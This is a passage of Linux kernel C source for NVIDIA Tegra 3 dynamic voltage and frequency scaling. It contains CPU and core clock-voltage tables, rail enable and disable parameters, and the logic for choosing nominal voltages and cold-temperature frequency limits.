CPU_DVFS("cpu_g", 2, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1250, 1300, 1330, 1400),
CPU_DVFS("cpu_g", 2, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1280, 1300, 1350, 1400),
CPU_DVFS("cpu_g", 2, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1300, 1350, 1400),
CPU_DVFS("cpu_g", 3, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1250, 1300, 1330, 1400),
CPU_DVFS("cpu_g", 3, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1280, 1300, 1350, 1400),
CPU_DVFS("cpu_g", 3, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1300, 1350, 1400),
CPU_DVFS("cpu_g", 7, 0, MHZ, 460, 460, 550, 550, 680, 680, 820, 970, 1040, 1080, 1150, 1200, 1240, 1280, 1320, 1480, 1500, 1600),
CPU_DVFS("cpu_g", 7, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1250, 1300, 1330, 1480, 1500, 1600),
CPU_DVFS("cpu_g", 7, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1280, 1300, 1480, 1500, 1600),
CPU_DVFS("cpu_g", 7, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1480, 1500, 1600),
CPU_DVFS("cpu_g", 5, 2, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1540, 1600, 1650, 1700),
CPU_DVFS("cpu_g", 5, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1500, 1540, 1540, 1700),
CPU_DVFS("cpu_g", 5, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1240, 1280, 1360, 1390, 1470, 1500, 1520, 1520, 1590, 1700),
CPU_DVFS("cpu_g", 6, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1500, 1540, 1540, 1700),
CPU_DVFS("cpu_g", 6, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1240, 1280, 1360, 1390, 1470, 1500, 1520, 1520, 1590, 1700),
CPU_DVFS("cpu_g", 4, 0, MHZ, 460, 460, 550, 550, 680, 680, 820, 970, 1040, 1080, 1150, 1200, 1240, 1280, 1320, 1360, 1600),
CPU_DVFS("cpu_g", 4, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1250, 1300, 1330, 1360, 1500, 1600),
CPU_DVFS("cpu_g", 4, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1280, 1300, 1340, 1480, 1600),
CPU_DVFS("cpu_g", 4, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1270, 1300, 1340, 1480, 1600),
CPU_DVFS("cpu_g", 4, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1300, 1340, 1480, 1600),
CPU_DVFS("cpu_g", 8, 0, MHZ, 460, 460, 550, 550, 680, 680, 820, 970, 1040, 1080, 1150, 1200, 1280, 1300),
CPU_DVFS("cpu_g", 8, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1300),
CPU_DVFS("cpu_g", 8, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1300),
CPU_DVFS("cpu_g", 8, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1300),
CPU_DVFS("cpu_g", 8, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1300),
CPU_DVFS("cpu_g", 9, -1, MHZ, 1, 1, 1, 1, 1, 900, 900, 900, 900, 900, 900, 900, 900, 900),
CPU_DVFS("cpu_g", 10, -1, MHZ, 1, 1, 900, 900, 900, 900, 900, 900, 900, 900, 900, 900, 900, 900),
CPU_DVFS("cpu_g", 11, -1, MHZ, 1, 1, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600),
CPU_DVFS("cpu_g", 12, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1500, 1540, 1540, 1700),
CPU_DVFS("cpu_g", 12, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1240, 1280, 1360, 1390, 1470, 1500, 1520, 1520, 1590, 1700),
CPU_DVFS("cpu_g", 13, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1500, 1540, 1540, 1700),
CPU_DVFS("cpu_g", 13, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1240, 1280, 1360, 1390, 1470, 1500, 1520, 1520, 1590, 1700),
/*
* "Safe entry" to be used when no match for chip speedo, process
* corner is found (just to boot at low rate); must be the last one
*/
CPU_DVFS("cpu_g", -1, -1, MHZ, 1, 1, 216, 216, 300),
};
#define CORE_DVFS(_clk_name, _speedo_id, _auto, _mult, _freqs...) \
{ \
.clk_name = _clk_name, \
.speedo_id = _speedo_id, \
.process_id = -1, \
.freqs = {_freqs}, \
.freqs_mult = _mult, \
.millivolts = core_millivolts, \
.auto_dvfs = _auto, \
.dvfs_rail = &tegra3_dvfs_rail_vdd_core, \
}
static struct dvfs core_dvfs_table[] = {
/* Core voltages (mV): 950, 1000, 1050, 1100, 1150, 1200, 1250, 1300, 1350 */
/* Clock limits for internal blocks, PLLs */
CORE_DVFS("cpu_lp", 0, 1, KHZ, 1, 294000, 342000, 427000, 475000, 500000, 500000, 500000, 500000),
CORE_DVFS("cpu_lp", 1, 1, KHZ, 204000, 294000, 342000, 427000, 475000, 500000, 500000, 500000, 500000),
CORE_DVFS("cpu_lp", 2, 1, KHZ, 204000, 295000, 370000, 428000, 475000, 513000, 579000, 620000, 620000),
CORE_DVFS("cpu_lp", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 450000, 450000, 450000),
CORE_DVFS("emc", 0, 1, KHZ, 1, 266500, 266500, 266500, 266500, 533000, 533000, 533000, 533000),
CORE_DVFS("emc", 1, 1, KHZ, 102000, 408000, 408000, 408000, 416000, 750000, 750000, 750000, 750000),
CORE_DVFS("emc", 2, 1, KHZ, 102000, 408000, 408000, 408000, 416000, 750000, 750000, 800000, 900000),
CORE_DVFS("emc", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 625000, 625000, 625000),
CORE_DVFS("sbus", 0, 1, KHZ, 1, 136000, 164000, 191000, 216000, 216000, 216000, 216000, 216000),
CORE_DVFS("sbus", 1, 1, KHZ, 51000, 205000, 205000, 227000, 227000, 267000, 267000, 267000, 267000),
CORE_DVFS("sbus", 2, 1, KHZ, 51000, 205000, 205000, 227000, 227000, 267000, 334000, 334000, 334000),
CORE_DVFS("sbus", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 378000, 378000, 378000),
CORE_DVFS("vi", 0, 1, KHZ, 1, 216000, 285000, 300000, 300000, 300000, 300000, 300000, 300000),
CORE_DVFS("vi", 1, 1, KHZ, 1, 216000, 267000, 300000, 371000, 409000, 409000, 409000, 409000),
CORE_DVFS("vi", 2, 1, KHZ, 1, 219000, 267000, 300000, 371000, 409000, 425000, 425000, 425000),
CORE_DVFS("vi", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 470000, 470000, 470000),
CORE_DVFS("vde", 0, 1, KHZ, 1, 228000, 275000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("mpe", 0, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("2d", 0, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("epp", 0, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("3d", 0, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("3d2", 0, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("se", 0, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("vde", 1, 1, KHZ, 1, 228000, 275000, 332000, 380000, 416000, 484000, 520000, 666000),
CORE_DVFS("mpe", 1, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("2d", 1, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("epp", 1, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("3d", 1, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("3d2", 1, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("se", 1, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("vde", 2, 1, KHZ, 1, 247000, 304000, 352000, 400000, 437000, 484000, 520000, 600000),
CORE_DVFS("mpe", 2, 1, KHZ, 1, 247000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("2d", 2, 1, KHZ, 1, 267000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("epp", 2, 1, KHZ, 1, 267000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("3d", 2, 1, KHZ, 1, 247000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("3d2", 2, 1, KHZ, 1, 247000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("se", 2, 1, KHZ, 1, 267000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("vde", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("mpe", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("2d", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("epp", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("3d", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("3d2", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("se", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 625000, 625000, 625000),
CORE_DVFS("host1x", 0, 1, KHZ, 1, 152000, 188000, 222000, 254000, 267000, 267000, 267000, 267000),
CORE_DVFS("host1x", 1, 1, KHZ, 1, 152000, 188000, 222000, 254000, 267000, 267000, 267000, 267000),
CORE_DVFS("host1x", 2, 1, KHZ, 1, 152000, 188000, 222000, 254000, 267000, 267000, 267000, 300000),
CORE_DVFS("host1x", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 242000, 242000, 242000),
CORE_DVFS("cbus", 0, 1, KHZ, 1, 228000, 275000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("cbus", 1, 1, KHZ, 1, 267000, 304000, 380000, 416000, 484000, 484000, 484000, 484000),
CORE_DVFS("cbus", 2, 1, KHZ, 1, 247000, 304000, 352000, 400000, 437000, 484000, 520000, 600000),
CORE_DVFS("cbus", 3, 1, KHZ, 1, 484000, 484000, 484000, 484000, 484000, 484000, 484000, 484000),
CORE_DVFS("pll_c", -1, 1, KHZ, 533000, 667000, 667000, 800000, 800000, 1066000, 1066000, 1066000, 1200000),
/*
* PLLM dvfs is common across all speedo IDs with one special exception
* for T30 and T33, rev A02+, provided PLLM usage is restricted. Both
* common and restricted table are included, and table selection is
* handled by is_pllm_dvfs() below.
*/
CORE_DVFS("pll_m", -1, 1, KHZ, 533000, 667000, 667000, 800000, 800000, 1066000, 1066000, 1066000, 1066000),
#ifdef CONFIG_TEGRA_PLLM_RESTRICTED
CORE_DVFS("pll_m", 2, 1, KHZ, 533000, 800000, 800000, 800000, 800000, 1066000, 1066000, 1066000, 1066000),
#endif
/* Core voltages (mV): 950, 1000, 1050, 1100, 1150, 1200, 1250, 1300, 1350 */
/* Clock limits for I/O peripherals */
CORE_DVFS("mipi", 0, 1, KHZ, 1, 1, 1, 1, 1, 1, 1, 1, 1),
CORE_DVFS("mipi", 1, 1, KHZ, 1, 1, 1, 1, 1, 60000, 60000, 60000, 60000),
CORE_DVFS("mipi", 2, 1, KHZ, 1, 1, 1, 1, 1, 60000, 60000, 60000, 60000),
CORE_DVFS("mipi", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 1, 1, 1),
CORE_DVFS("fuse_burn", -1, 1, KHZ, 1, 1, 1, 1, 26000, 26000, 26000, 26000, 26000),
CORE_DVFS("sdmmc1", -1, 1, KHZ, 104000, 104000, 104000, 104000, 104000, 208000, 208000, 208000, 208000),
CORE_DVFS("sdmmc3", -1, 1, KHZ, 104000, 104000, 104000, 104000, 104000, 208000, 208000, 208000, 208000),
CORE_DVFS("ndflash", -1, 1, KHZ, 1, 120000, 120000, 120000, 200000, 200000, 200000, 200000, 200000),
CORE_DVFS("nor", 0, 1, KHZ, 1, 115000, 130000, 130000, 133000, 133000, 133000, 133000, 133000),
CORE_DVFS("nor", 1, 1, KHZ, 1, 115000, 130000, 130000, 133000, 133000, 133000, 133000, 133000),
CORE_DVFS("nor", 2, 1, KHZ, 1, 115000, 130000, 130000, 133000, 133000, 133000, 133000, 133000),
CORE_DVFS("nor", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 108000, 108000, 108000),
CORE_DVFS("sbc1", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc2", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc3", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc4", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc5", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc6", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("usbd", -1, 1, KHZ, 1, 480000, 480000, 480000, 480000, 480000, 480000, 480000, 480000),
CORE_DVFS("usb2", -1, 1, KHZ, 1, 480000, 480000, 480000, 480000, 480000, 480000, 480000, 480000),
CORE_DVFS("usb3", -1, 1, KHZ, 1, 480000, 480000, 480000, 480000, 480000, 480000, 480000, 480000),
CORE_DVFS("sata", -1, 1, KHZ, 1, 216000, 216000, 216000, 216000, 216000, 216000, 216000, 216000),
CORE_DVFS("sata_oob", -1, 1, KHZ, 1, 216000, 216000, 216000, 216000, 216000, 216000, 216000, 216000),
CORE_DVFS("pcie", -1, 1, KHZ, 1, 250000, 250000, 250000, 250000, 250000, 250000, 250000, 250000),
CORE_DVFS("afi", -1, 1, KHZ, 1, 250000, 250000, 250000, 250000, 250000, 250000, 250000, 250000),
CORE_DVFS("pll_e", -1, 1, KHZ, 1, 100000, 100000, 100000, 100000, 100000, 100000, 100000, 100000),
CORE_DVFS("tvdac", -1, 1, KHZ, 1, 220000, 220000, 220000, 220000, 220000, 220000, 220000, 220000),
CORE_DVFS("tvo", -1, 1, KHZ, 1, 1, 297000, 297000, 297000, 297000, 297000, 297000, 297000),
CORE_DVFS("cve", -1, 1, KHZ, 1, 1, 297000, 297000, 297000, 297000, 297000, 297000, 297000),
CORE_DVFS("dsia", -1, 1, KHZ, 1, 275000, 275000, 275000, 275000, 275000, 275000, 275000, 275000),
CORE_DVFS("dsib", -1, 1, KHZ, 1, 275000, 275000, 275000, 275000, 275000, 275000, 275000, 275000),
CORE_DVFS("hdmi", -1, 1, KHZ, 1, 148500, 148500, 148500, 148500, 148500, 148500, 148500, 148500),
/*
* The clock rate for the display controllers that determines the
* necessary core voltage depends on a divider that is internal
* to the display block. Disable auto-dvfs on the display clocks,
* and let the display driver call tegra_dvfs_set_rate manually
*/
CORE_DVFS("disp1", 0, 0, KHZ, 1, 120000, 120000, 120000, 120000, 190000, 190000, 190000, 190000),
CORE_DVFS("disp1", 1, 0, KHZ, 1, 155000, 268000, 268000, 268000, 268000, 268000, 268000, 268000),
CORE_DVFS("disp1", 2, 0, KHZ, 1, 155000, 268000, 268000, 268000, 268000, 268000, 268000, 268000),
CORE_DVFS("disp1", 3, 0, KHZ, 1, 120000, 120000, 120000, 120000, 190000, 190000, 190000, 190000),
CORE_DVFS("disp2", 0, 0, KHZ, 1, 120000, 120000, 120000, 120000, 190000, 190000, 190000, 190000),
CORE_DVFS("disp2", 1, 0, KHZ, 1, 155000, 268000, 268000, 268000, 268000, 268000, 268000, 268000),
CORE_DVFS("disp2", 2, 0, KHZ, 1, 155000, 268000, 268000, 268000, 268000, 268000, 268000, 268000),
CORE_DVFS("disp2", 3, 0, KHZ, 1, 120000, 120000, 120000, 120000, 190000, 190000, 190000, 190000),
CORE_DVFS("pwm", -1, 1, KHZ, 1, 408000, 408000, 408000, 408000, 408000, 408000, 408000, 408000),
CORE_DVFS("spdif_out", -1, 1, KHZ, 1, 26000, 26000, 26000, 26000, 26000, 26000, 26000, 26000),
};
int tegra_dvfs_disable_core_set(const char *arg, const struct kernel_param *kp)
{
int ret;
ret = param_set_bool(arg, kp);
if (ret)
return ret;
if (tegra_dvfs_core_disabled)
tegra_dvfs_rail_disable(&tegra3_dvfs_rail_vdd_core);
else
tegra_dvfs_rail_enable(&tegra3_dvfs_rail_vdd_core);
return 0;
}
int tegra_dvfs_disable_cpu_set(const char *arg, const struct kernel_param *kp)
{
int ret;
ret = param_set_bool(arg, kp);
if (ret)
return ret;
if (tegra_dvfs_cpu_disabled)
tegra_dvfs_rail_disable(&tegra3_dvfs_rail_vdd_cpu);
else
tegra_dvfs_rail_enable(&tegra3_dvfs_rail_vdd_cpu);
return 0;
}
int tegra_dvfs_disable_get(char *buffer, const struct kernel_param *kp)
{
return param_get_bool(buffer, kp);
}
static struct kernel_param_ops tegra_dvfs_disable_core_ops = {
.set = tegra_dvfs_disable_core_set,
.get = tegra_dvfs_disable_get,
};
static struct kernel_param_ops tegra_dvfs_disable_cpu_ops = {
.set = tegra_dvfs_disable_cpu_set,
.get = tegra_dvfs_disable_get,
};
module_param_cb(disable_core, &tegra_dvfs_disable_core_ops,
&tegra_dvfs_core_disabled, 0644);
module_param_cb(disable_cpu, &tegra_dvfs_disable_cpu_ops,
&tegra_dvfs_cpu_disabled, 0644);
static bool __init is_pllm_dvfs(struct clk *c, struct dvfs *d)
{
#ifdef CONFIG_TEGRA_PLLM_RESTRICTED
/* Do not apply common PLLM dvfs table on T30, T33, T37 rev A02+ and
do not apply restricted PLLM dvfs table for other SKUs/revs */
int cpu = tegra_cpu_speedo_id();
if (((cpu == 2) || (cpu == 5) || (cpu == 13)) ==
(d->speedo_id == -1))
return false;
#endif
/* Check if PLLM boot frequency can be applied to clock tree at
minimum voltage. If yes, no need to enable dvfs on PLLM */
if (clk_get_rate_all_locked(c) <= d->freqs[0] * d->freqs_mult)
return false;
return true;
}
static void __init init_dvfs_one(struct dvfs *d, int nominal_mv_index)
{
int ret;
struct clk *c = tegra_get_clock_by_name(d->clk_name);
if (!c) {
pr_debug("tegra3_dvfs: no clock found for %s\n",
d->clk_name);
return;
}
/*
* Update max rate for auto-dvfs clocks, except EMC.
* EMC is a special case, since EMC dvfs is board dependent: max rate
* and EMC scaling frequencies are determined by tegra BCT (flashed
* together with the image) and board specific EMC DFS table; we will
* check the scaling ladder against nominal core voltage when the table
* is loaded (and if on particular board the table is not loaded, EMC
* scaling is disabled).
*/
if (!(c->flags & PERIPH_EMC_ENB) && d->auto_dvfs) {
BUG_ON(!d->freqs[nominal_mv_index]);
tegra_init_max_rate(
c, d->freqs[nominal_mv_index] * d->freqs_mult);
}
d->max_millivolts = d->dvfs_rail->nominal_millivolts;
/*
* Check if we may skip enabling dvfs on PLLM. PLLM is a special case,
* since its frequency never exceeds boot rate, and configuration with
* restricted PLLM usage is possible.
*/
if (!(c->flags & PLLM) || is_pllm_dvfs(c, d)) {
ret = tegra_enable_dvfs_on_clk(c, d);
if (ret)
pr_err("tegra3_dvfs: failed to enable dvfs on %s\n",
c->name);
}
}
static void __init init_dvfs_cold(struct dvfs *d, int nominal_mv_index)
{
int i;
unsigned long offs;
BUG_ON((nominal_mv_index == 0) || (nominal_mv_index > d->num_freqs));
for (i = 0; i < d->num_freqs; i++) {
offs = cpu_cold_offs_mhz[i] * MHZ;
if (i > nominal_mv_index)
d->alt_freqs[i] = d->alt_freqs[i - 1];
else if (d->freqs[i] > offs)
d->alt_freqs[i] = d->freqs[i] - offs;
else {
d->alt_freqs[i] = d->freqs[i];
pr_warn("tegra3_dvfs: cold offset %lu is too high for"
" regular dvfs limit %lu\n", offs, d->freqs[i]);
}
if (i)
BUG_ON(d->alt_freqs[i] < d->alt_freqs[i - 1]);
}
d->alt_freqs_state = ALT_FREQS_DISABLED;
}
static bool __init match_dvfs_one(struct dvfs *d, int speedo_id, int process_id)
{
if ((d->process_id != -1 && d->process_id != process_id) ||
(d->speedo_id != -1 && d->speedo_id != speedo_id)) {
pr_debug("tegra3_dvfs: rejected %s speedo %d,"
" process %d\n", d->clk_name, d->speedo_id,
d->process_id);
return false;
}
return true;
}
static int __init get_cpu_nominal_mv_index(
int speedo_id, int process_id, struct dvfs **cpu_dvfs)
{
int i, j, mv;
struct dvfs *d;
struct clk *c;
/*
* Find maximum cpu voltage that satisfies cpu_to_core dependency for
* nominal core voltage ("solve from cpu to core at nominal"). Clip
* result to the nominal cpu level for the chips with this speedo_id.
*/
mv = tegra3_dvfs_rail_vdd_core.nominal_millivolts;
for (i = 0; i < MAX_DVFS_FREQS; i++) {
if ((cpu_millivolts[i] == 0) ||
tegra3_get_core_floor_mv(cpu_millivolts[i]) > mv)
break;
}
BUG_ON(i == 0);
mv = cpu_millivolts[i - 1];
BUG_ON(mv < tegra3_dvfs_rail_vdd_cpu.min_millivolts);
mv = min(mv, tegra_cpu_speedo_mv());
/*
* Find matching cpu dvfs entry, and use it to determine index to the
* final nominal voltage, that satisfies the following requirements:
* - allows CPU to run at minimum of the maximum rates specified in
* the dvfs entry and clock tree
* - does not violate cpu_to_core dependency as determined above
*/
for (i = 0, j = 0; j < ARRAY_SIZE(cpu_dvfs_table); j++) {
d = &cpu_dvfs_table[j];
if (match_dvfs_one(d, speedo_id, process_id)) {
c = tegra_get_clock_by_name(d->clk_name);
BUG_ON(!c);
for (; i < MAX_DVFS_FREQS; i++) {
if ((d->freqs[i] == 0) ||
(cpu_millivolts[i] == 0) ||
(mv < cpu_millivolts[i]))
break;
if (c->max_rate <= d->freqs[i]*d->freqs_mult) {
i++;
break;
}
}
break;
}
}
BUG_ON(i == 0);
if (j == (ARRAY_SIZE(cpu_dvfs_table) - 1))
pr_err("tegra3_dvfs: WARNING!!!\n"
"tegra3_dvfs: no cpu dvfs table found for chip speedo_id"
" %d and process_id %d: set CPU rate limit at %lu\n"
"tegra3_dvfs: WARNING!!!\n",
speedo_id, process_id, d->freqs[i-1] * d->freqs_mult);
*cpu_dvfs = d;
return (i - 1);
}
static int __init get_core_nominal_mv_index(int speedo_id)
{
int i;
int mv = tegra_core_speedo_mv();
int core_edp_limit = get_core_edp();
/*
* Start with nominal level for the chips with this speedo_id. Then,
* make sure core nominal voltage is below edp limit for the board
* (if edp limit is set).
*/
if (core_edp_limit)
mv = min(mv, core_edp_limit);
/* Round nominal level down to the nearest core scaling step */
for (i = 0; i < MAX_DVFS_FREQS; i++) {
if ((core_millivolts[i] == 0) || (mv < core_millivolts[i]))
break;
}
if (i == 0) {
pr_err("tegra3_dvfs: unable to adjust core dvfs table to"
" nominal voltage %d\n", mv);
return -ENOSYS;
}
return (i - 1);
}
void __init tegra_soc_init_dvfs(void)
{
int cpu_speedo_id = tegra_cpu_speedo_id();
int soc_speedo_id = tegra_soc_speedo_id();
int cpu_process_id = tegra_cpu_process_id();
int core_process_id = tegra_core_process_id();
int i;
int core_nominal_mv_index;
int cpu_nominal_mv_index;
#ifndef CONFIG_TEGRA_CORE_DVFS
tegra_dvfs_core_disabled = true;
#endif
#ifndef CONFIG_TEGRA_CPU_DVFS
tegra_dvfs_cpu_disabled = true;
#endif
/*
* Find nominal voltages for core (1st) and cpu rails before rail
* init. Nominal voltage index in the scaling ladder will also be
* used to determine max dvfs frequency for the respective domains.
*/
core_nominal_mv_index = get_core_nominal_mv_index(soc_speedo_id);
if (core_nominal_mv_index < 0) {
tegra3_dvfs_rail_vdd_core.disabled = true;
tegra_dvfs_core_disabled = true;
core_nominal_mv_index = 0;
}
tegra3_dvfs_rail_vdd_core.nominal_millivolts =
core_millivolts[core_nominal_mv_index];
cpu_nominal_mv_index = get_cpu_nominal_mv_index(
cpu_speedo_id, cpu_process_id, &cpu_dvfs);
BUG_ON((cpu_nominal_mv_index < 0) || (!cpu_dvfs));
tegra3_dvfs_rail_vdd_cpu.nominal_millivolts =
cpu_millivolts[cpu_nominal_mv_index];
/* Init rail structures and dependencies */
tegra_dvfs_init_rails(tegra3_dvfs_rails, ARRAY_SIZE(tegra3_dvfs_rails));
tegra_dvfs_add_relationships(tegra3_dvfs_relationships,
ARRAY_SIZE(tegra3_dvfs_relationships));
/* Search core dvfs table for speedo/process matching entries and
initialize dvfs-ed clocks */
for (i = 0; i < ARRAY_SIZE(core_dvfs_table); i++) {
struct dvfs *d = &core_dvfs_table[i];
if (!match_dvfs_one(d, soc_speedo_id, core_process_id))
continue;
init_dvfs_one(d, core_nominal_mv_index);
}
/* Initialize matching cpu dvfs entry already found when nominal
voltage was determined */
init_dvfs_one(cpu_dvfs, cpu_nominal_mv_index);
init_dvfs_cold(cpu_dvfs, cpu_nominal_mv_index);
/* Finally disable dvfs on rails if necessary */
if (tegra_dvfs_core_disabled)
tegra_dvfs_rail_disable(&tegra3_dvfs_rail_vdd_core);
if (tegra_dvfs_cpu_disabled)
tegra_dvfs_rail_disable(&tegra3_dvfs_rail_vdd_cpu);
pr_info("tegra dvfs: VDD_CPU nominal %dmV, scaling %s\n",
tegra3_dvfs_rail_vdd_cpu.nominal_millivolts,
tegra_dvfs_cpu_disabled ? "disabled" : "enabled");
pr_info("tegra dvfs: VDD_CORE nominal %dmV, scaling %s\n",
tegra3_dvfs_rail_vdd_core.nominal_millivolts,
tegra_dvfs_core_disabled ? "disabled" : "enabled");
}
void tegra_cpu_dvfs_alter(int edp_thermal_index, bool before_clk_update)
{
bool enable = !edp_thermal_index;
if (enable != before_clk_update) {
int ret = tegra_dvfs_alt_freqs_set(cpu_dvfs, enable);
WARN_ONCE(ret, "tegra dvfs: failed to set CPU alternative"
" frequency limits for cold temeperature\n");
}
}
int tegra_dvfs_rail_disable_prepare(struct dvfs_rail *rail)
{
int ret = 0;
if (tegra_emc_get_dram_type() != DRAM_TYPE_DDR3)
return ret;
if (((&tegra3_dvfs_rail_vdd_core == rail) &&
(rail->nominal_millivolts > TEGRA_EMC_BRIDGE_MVOLTS_MIN)) ||
((&tegra3_dvfs_rail_vdd_cpu == rail) &&
(tegra3_get_core_floor_mv(rail->nominal_millivolts) >
TEGRA_EMC_BRIDGE_MVOLTS_MIN))) {
struct clk *bridge = tegra_get_clock_by_name("bridge.emc");
BUG_ON(!bridge);
ret = clk_enable(bridge);
pr_info("%s: %s: %s bridge.emc\n", __func__,
rail->reg_id, ret ? "failed to enable" : "enabled");
}
return ret;
}
int tegra_dvfs_rail_post_enable(struct dvfs_rail *rail)
{
if (tegra_emc_get_dram_type() != DRAM_TYPE_DDR3)
return 0;
if (((&tegra3_dvfs_rail_vdd_core == rail) &&
(rail->nominal_millivolts > TEGRA_EMC_BRIDGE_MVOLTS_MIN)) ||
((&tegra3_dvfs_rail_vdd_cpu == rail) &&
(tegra3_get_core_floor_mv(rail->nominal_millivolts) >
TEGRA_EMC_BRIDGE_MVOLTS_MIN))) {
struct clk *bridge = tegra_get_clock_by_name("bridge.emc");
BUG_ON(!bridge);
clk_disable(bridge);
pr_info("%s: %s: disabled bridge.emc\n",
__func__, rail->reg_id);
}
return 0;
}
/*
* sysfs and dvfs interfaces to cap tegra core domains frequencies
*/
static DEFINE_MUTEX(core_cap_lock);
struct core_cap {
int refcnt;
int level;
};
static struct core_cap tegra3_core_cap;
static struct core_cap kdvfs_core_cap;
static struct core_cap user_core_cap;
static struct kobject *cap_kobj;
/* Arranged in order required for enabling/lowering the cap */
static struct {
const char *cap_name;
struct clk *cap_clk;
unsigned long freqs[MAX_DVFS_FREQS];
} core_cap_table[] = {
{ .cap_name = "cap.cbus" },
{ .cap_name = "cap.sclk" },
{ .cap_name = "cap.emc" },
};
static void core_cap_level_set(int level)
{
int i, j;
for (j = 0; j < ARRAY_SIZE(core_millivolts); j++) {
int v = core_millivolts[j];
if ((v == 0) || (level < v))
break;
}
j = (j == 0) ? 0 : j - 1;
level = core_millivolts[j];
if (level < tegra3_core_cap.level) {
for (i = 0; i < ARRAY_SIZE(core_cap_table); i++)
if (core_cap_table[i].cap_clk)
clk_set_rate(core_cap_table[i].cap_clk,
core_cap_table[i].freqs[j]);
} else if (level > tegra3_core_cap.level) {
for (i = ARRAY_SIZE(core_cap_table) - 1; i >= 0; i--)
if (core_cap_table[i].cap_clk)
